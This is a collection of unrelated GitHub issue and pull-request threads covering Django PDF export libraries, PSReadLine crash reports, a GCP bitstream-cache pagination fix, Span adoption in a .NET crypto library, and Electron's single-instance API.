Please take a look at its requirements http://weasyprint.readthedocs.io/en/latest/install.html#installing, and more importantly its windows installation: http://weasyprint.readthedocs.io/en/latest/install.html#windows. I refuse to do all this stuff when, using xhtml2pdf is one pip install reportlab xhtml2pdf django-xhtml2pdf away!
So I can't go the weasyprint way :(
What I recommend is merge my PR but, if somebody wants to implement support for WeasyPrint pdf export, implement this in addition to xhtml2pdf pdf export, i.e check if weasyprint is installed and if not check if django-xhtml2pdf is installed. That's what I'm going to do at least, I can't use WeasyPrint until it's easy to install on windows and xhtml2pdf works really good.

Hah, yep -- that is definitely not a fun install experience. Just to clarify though; it is absolutely an abandoned project. From the home page:

As per 2016-06-05, this project is officially abandonded by the only maintainer and effectively dead. Please read the notice of 2016-05-02. xhtml2pdf exists by name, it no longer has any relevance.

But like I said, Im ok merging since it's a solid solution. Thanks for all the work on it!

Ooh I didn't know that. Really sorry xhtml2pdf is dead ... It served me (and still serves me actually) well in a lot of projects. Thanks for merging though, this will be very useful 👍

Hello, just a heads up - xhtml2pdf just got a new maintainer (https://github.com/xhtml2pdf/xhtml2pdf/issues/317) and was resurrected from the dead! So you no longer have to feel guilty for merging this PR 😎

Phew! I have't slept in 2 weeks!
And seriously - thanks for the update. This does actually reduce my anxiety.


  Check destIndex and length, and the array's lower bounds.
   at System.Array.Copy(Array sourceArray, Int32 sourceIndex, Array destinationArray, Int32 destinationIndex, Int32 length, Boolean reliable)
   at System.Array.Copy(Array sourceArray, Array destinationArray, Int32 length)
   at Microsoft.PowerShell.PSConsoleReadLine.ReallyRender()
   at Microsoft.PowerShell.PSConsoleReadLine.BackwardDeleteChar(Nullable`1 key, Object arg)
   at Microsoft.PowerShell.PSConsoleReadLine.ProcessOneKey(ConsoleKeyInfo key, Dictionary`2 dispatchTable, Boolean ignoreIfNoAction, Object arg)
   at Microsoft.PowerShell.PSConsoleReadLine.InputLoop()
   at Microsoft.PowerShell.PSConsoleReadLine.ReadLine(Runspace runspace, EngineIntrinsics engineIntrinsics

For context, I was trying to git pull --rebase and then look for a particular command in my history with arrow up.
Thanks!

For me also
Oops, something went wrong.  Please report this bug with the details below.
Report on GitHub: https://github.com/lzybkr/PSReadLine/issues/new
-----------------------------------------------------------------------
Last 0 Keys:

Exception:
System.IO.IOException: The handle is invalid.

   at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
   at System.Console.GetBufferInfo(Boolean throwOnNoConsole, Boolean& succeeded)
   at Microsoft.PowerShell.Internal.ConhostConsole.get_CursorLeft()
   at Microsoft.PowerShell.PSConsoleReadLine.Initialize(Runspace runspace, EngineIntrinsics engineIntrinsics)
   at Microsoft.PowerShell.PSConsoleReadLine.ReadLine(Runspace runspace, EngineIntrinsics engineIntrinsics)
-----------------------------------------------------------------------
PS C:\Program Files\Sublime Text 3>
Oops, something went wrong.  Please report this bug with the details below.
Report on GitHub: https://github.com/lzybkr/PSReadLine/issues/new
-----------------------------------------------------------------------
Last 0 Keys:

Exception:
System.IO.IOException: The handle is invalid.

   at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
   at System.Console.GetBufferInfo(Boolean throwOnNoConsole, Boolean& succeeded)
   at Microsoft.PowerShell.Internal.ConhostConsole.get_CursorLeft()
   at Microsoft.PowerShell.PSConsoleReadLine.Initialize(Runspace runspace, EngineIntrinsics engineIntrinsics)
   at Microsoft.PowerShell.PSConsoleReadLine.ReadLine(Runspace runspace, EngineIntrinsics engineIntrinsics)
-----------------------------------------------------------------------

I got the same error as @bkmagnetron
Oops, something went wrong.  Please report this bug with the details below.
 Enter
 c d Spacebar . . Enter
 $ Ctrl+v Spacebar = Spacebar " " LeftArrow a s Backspace b c ` m n Backspace Backspace n a b c Enter
 $ g e n Tab Enter
 UpArrow UpArrow Shift+Home RightArrow Backspace $ End Backspace Backspace Backspace Backspace Backspace Backspace Backspace Backspace Backspace Backspace Bac
kspace . L Tab Enter
 UpArrow Backspace Backspace Backspace Backspace Backspace Backspace Backspace Backspace Backspace Backspace Backspace Backspace Backspace Backspace Backspace
 $ q Spacebar = Spacebar Enter
 $ q . L Tab Enter
 $ q Enter
 c d Spacebar s r Tab w i n Tab Enter
 g i t k Enter
 c d Spacebar . . Enter
 c d Spacebar . . Enter
 Ctrl+r i m p o Enter
 Ctrl+r s t a r Enter
 c d Spacebar w i n Tab Backspace Backspace Backspace s r Tab w i n Tab Enter
 g i t Spacebar s t a t u s Enter
 g i t Spacebar d i f f Enter
 q Spacebar s Backspace e

Exception:
System.IO.IOException: The parameter is incorrect.

   at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
   at System.Console.SetWindowPosition(Int32 left, Int32 top)
   at Microsoft.PowerShell.PSConsoleReadLine.ReallyRender()
   at Microsoft.PowerShell.PSConsoleReadLine.Insert(Char c)
   at Microsoft.PowerShell.PSConsoleReadLine.SelfInsert(Nullable`1 key, Object arg)
   at Microsoft.PowerShell.PSConsoleReadLine.ProcessOneKey(ConsoleKeyInfo key, Dictionary`2 dispatchTable, Boolean ignoreIfNoAction, Object arg)
   at Microsoft.PowerShell.PSConsoleReadLine.InputLoop()
   at Microsoft.PowerShell.PSConsoleReadLine.ReadLine(Runspace runspace, EngineIntrinsics engineIntrinsics)
-----------------------------------------------------------------------

Most likely a dupe of #292, reopen with additional information if you disagree.

I've had this issue a couple of times now, but I've not been able to identify the cause for it.
I have not been resizing my window, so I don't think it's related to that.
Environment data
I'm using ConEmu.

PS version: 5.1.15063.502
PSReadline version: 1.2
os: 10.0.15063.0 (WinBuild.160101.0800)
PS file version: 10.0.15063.0 (WinBuild.160101.0800)

Steps to reproduce or exception report
Oops, something went wrong.  Please report this bug with the details below.

That said, I've probably fixed it anyway, I'm rewriting the rendering and the offending code is probably gone.
The rewrite is in a branch right now, I'll merge to master when it's ready for wider use.

Great news!
I know it's a forbidden question.... But do you have a date in mind? 😃

This is a side project, so when it's ready.
I'm dogfooding the new code now, so it's usable. You can try it yourself if you want - grab a build out of appveyor like this one or build the ansi_render branch.
There is a bit more work remaining to make the module portable between PowerShell Core (Windows and non-Windows) + Windows PowerShell, but it's getting close.

Thanks, I'll take a look when I've got some time 😄


[bitstream cache] Handle pagination when querying for all bitstreams

Requesting the list of all bitstreams in the bitstream cache can cause GCP to paginate the response. This has become a problem as our bitstream cache has grown. In particular, commits with hashes that were alphabetically later were being missed on cache refreshes. This PR updates the cache to continue making requests to the GCP bucket until the entire list of bitstreams is fetched.
Thanks @dmcardle for helping with the debugging!

Some linters are unhappy, FYI :)

Some linters are unhappy, FYI :)

Ah thanks!

Oof, without this the action cache can get an arbitrarily old bitstream and fail for strange reasons for the next 7 hours or so. It makes bisecting past this commit...fun. Thanks for this fix!


Consider using modern .NET API types like Span and ReadOnlySpan

Consider using modern .NET API types like Span and ReadOnlySpan.
More information at: All About Span: Exploring a New .NET Mainstay.
NOTE: It will require .NET Core 2.1; there's a System.Memory.dll package that’s compatible with .NET Standard 1.1.

First usage already seen on ba4a2d7 with some performance improvements in Snuffle base class. There’s an accompanying benchmark.

Any idea if that would work with Unity 2018.2.X?

I'm not very familiar with Unity but you can perhaps give it a try and report back your results. 😃
The package name is System.Memory. The latest commit is already using those types, if you feel adventurous, you could give it a spin. Any feedback is appreciated!
Regarding the performance improvements, in my results comparing 0e7a447 vs 87f8ac4 (current), there were noticeable improvements in memory and speed. There's still work to be done in SnufflePoly1305 (base class of the AEAD constructions) since I've been focusing in Snuffle, the base class of ChaCha20 and XChaCha20.
You can find the benchmarks in the repo, please note that I haven't kept both versions (modern and legacy) for cleanness sake. If you want to try and see the benchmarks for yourself, you can grab the benchmark project from the latest commit and test against current and 0e7a447 to see the results.

Sorry to get back to you so late;
System.Memory can be loaded in Unity but results in a FileNotFoundException (Could not load file or assembly 'System.Runtime.CompilerServices.Unsafe, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' or one of its dependencies).
Unfortunately, I'm not able to replace the library. (Unity complains, but I try to keep investigating). For now, I started using a custom-made ArrayPool instead.
Nothing to share as of yet. But if you want to use the standardized ArrayPool class from System.Buffers that works flawlessly in Unity (Mono backend and IL2CPP sofar).

No worries, I’ve been toying around with an U2F key...
Regarding System.Runtime.CompilerServices.Unsafe. Could you post your csproj? At first glance it seems your Nuget didn’t install it.
Maybe adding something along those lines manually?
<Reference Include="System.Runtime.CompilerServices.Unsafe, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL"> <HintPath>..\packages\System.Runtime.CompilerServices.Unsafe.4.5.2\lib\netstandard2.0\System.Runtime.CompilerServices.Unsafe.dll</HintPath> </Reference>

Assuming the version is correct.

Unity auto patches the csproj files on each compilation and seems to come with its own version of the library.
<Reference Include="System.Runtime.CompilerServices.Unsafe"><EMAIL_ADDRESS></Reference>
I will post in the unity forums about it. Maybe somebody has an idea.

I'm glad to know you got it working!
I plan to complete the perf improvements in SnufflePoly1305 by the next month and then release the update if everything goes well. Any feedback/contribution in the meantime it's really appreciated.

I've pushed 1.2.0 which uses System.Memory. Please let me know if you face any issue.

Everything works fine, thank you!


Implement Single-Instance for Windows / Linux

This PR implements a new proposed API on app which allows Electron apps on Windows and Linux to be single-instance apps (and receive the command-line parameters from secondary invocations).
Proposed API
import app from 'app';

shouldQuit = app.makeSingleInstance((cmdLine) => {
  // TODO: Handle command line from secondary instance
});

if (shouldQuit) app.quit(0);

When apps are invoked as the secondary instance (i.e. an instance is already running), makeSingleInstance will send the command-line arguments to the primary instance and exit the app. This means that makeSingleInstance should be called as early as possible (i.e. before ready), so we'll set it up for that to be possible
TODO:

[x] Bring the code over from Chrome that implements this
[x] Make the code compile on Windows
[x] Make the code compile on Linux
[x] Wire it up to app
[ ] Fix all the TODOs

:100:

Can you move the process_singleton stuff to the chromium_src dir, and keep the function and namespace names as they are? If we are lucky we only need to change few lines to the original source code, and it will make future maintenance work easier.

If we are lucky we only need to change few lines to the original source code, and it will make future maintenance work easier.

We aren't lucky, I had to do a lot of changes to these files (they expect a hardcoded "Chrome.exe" value, they do a bunch of things for Win8 Immersive Mode™, etc etc)

We aren't lucky, I had to do a lot of changes to these files (they expect a hardcoded "Chrome.exe" value, they do a bunch of things for Win8 Immersive Mode™, etc etc). It doesn't appear that they change too often though, and the interface to it is really simple, so worst comes to worst we can re-port it.

I still prefer to put the source code from chromium under chromium_src and keep their original names, so the changes to original files can be reduced to minimum, it really helped a lot in the past when doing upgrades to latest Chrome.

@zcbenz :+1:, will fix that up

:+1:

So I'm guessing a new release coming soon? maybe today? :)

At least in the Slack app, this had a pretty significant startup perf impact (~2sec faster) than the standard "open a named pipe" method, we should definitely look into adding this to Atom once the Electron version lands /cc @kevinsawicki @nathansobo

@paulcbetts is there something similar on Mac to use? I know there is the app event "open-file", but what I am looking for is a way to get the full command line arguments into a running instance. Currently we actually launch a second instance of Code on Mac and do a ipc-socket dance to find out if Code is already running. The downside is performance and you see a second Code icon popping up in the dock.

Whoa, really cool, thanks @paulcbetts :+1:

@bpasero This works on Mac too, check out https://github.com/atom/electron/pull/3175/files#diff-c0db39733aba3af6dedd3c8a42082f92R316 for how it works on OS X

@paulcbetts right but the open-file event will not carry all the command line arguments the user typed, at least when I last tried...

@paulcbetts also, when I look at the dock on Mac when running a second instance of Atom from the command line I see it briefly opening a new entry in the dock and then disappearing which leads me to the conclusion that Atom is also bypassing Macs singleton behavior the same way VSCode does.

@bpasero as I understand it, open-file is only invoked from the dock. This PR makes it so that there are now three ways to be signaled on OS X:

main - your app started, it was the primary instance
open-file / open-url - your app was run via Finder, it was a secondary instance. There was no command line arguments (because Finder)
makeSingleInstance - your app was run via command-line, you get all the arguments and the working directory

@paulcbetts ah ok I got this PR wrong and the new API, I thought it was only for Windows and Linux.
So when I run "open electron.app" from the command line and pass in arguments, I will now receive those arguments from the makeSingleInstance function.
Thats pretty cool! So far we have been using "open -n" to force open the app in a second instance but looks like we can drop that code :)

A few questions:
Which electron release version did/will this land in?
Can you attach multiple functions to app.makeSingleInstance, so that you get called back multiple times when a new instance launches?
Can you unhook and make the app multiple instance again?
How does it uniquely identify the application? By path or name?

Which electron release version did/will this land in?

0.34.1

Can you attach multiple functions to app.makeSingleInstance, so that you get called back multiple times when a new instance launches?

No

Can you unhook and make the app multiple instance again?

No

How does it uniquely identify the application? By path or name?

By the path provided by app.getPath('userdata')

Perfect thanks.

@paulcbetts question on Mac: is this solution actually using some socket communication to figure out if the application is already running or relying on the fact that you cannot open the same application more than once on Mac? I am asking because you can obviously bypass the Mac "open" behavior by spawning the executable directly.

@bpasero On non-Windows, it uses a socket

@paulcbetts I see, I am asking because there seems to be API on Mac to detect if an application with a specific bundle id is already running:
http://stackoverflow.com/questions/8249686/launchapplication-with-command-line-arguments
http://blog.jseibert.com/post/1167439217/deduplicating-running-instances-or-how-to-detect
My feeling is that the decision to make an app a singleton instance should not be made in the code that I write in my main.js file but rather something that has to run as early as possible even before my code is reached. This would also bring down the time it takes to spawn the second instance even further.
With the current solution I still briefly see the Mac dock bounce with the second instance launching and then disappear. Idealy this would not happen.

My feeling is that the decision to make an app a singleton instance should not be made in the code that I write in my main.js file but rather something that has to run as early as possible even before my code is reached.

 Idealy this would not happen.

How early are you calling makeSingleInstance? You can call it very very early (pre-ready).

Right, I think to still allow for another instance to execute it would add some command line argument to the startup and Electron would then still allow to start the second instance nevertheless.
When I played with it I was setting it very early, as suggested before the ready event. The dock is moving slightly and its not easy to spot unless you really look for it.

The dock is moving slightly and its not easy to spot unless you really look for it.

WontFix!

Well, a possible fix is to never show the dock icon (hiding it at the earliest possible time) until you actually call app.dock.show(), I think this is how it should be to really have full control.
But that does not go without breaking existing apps of course.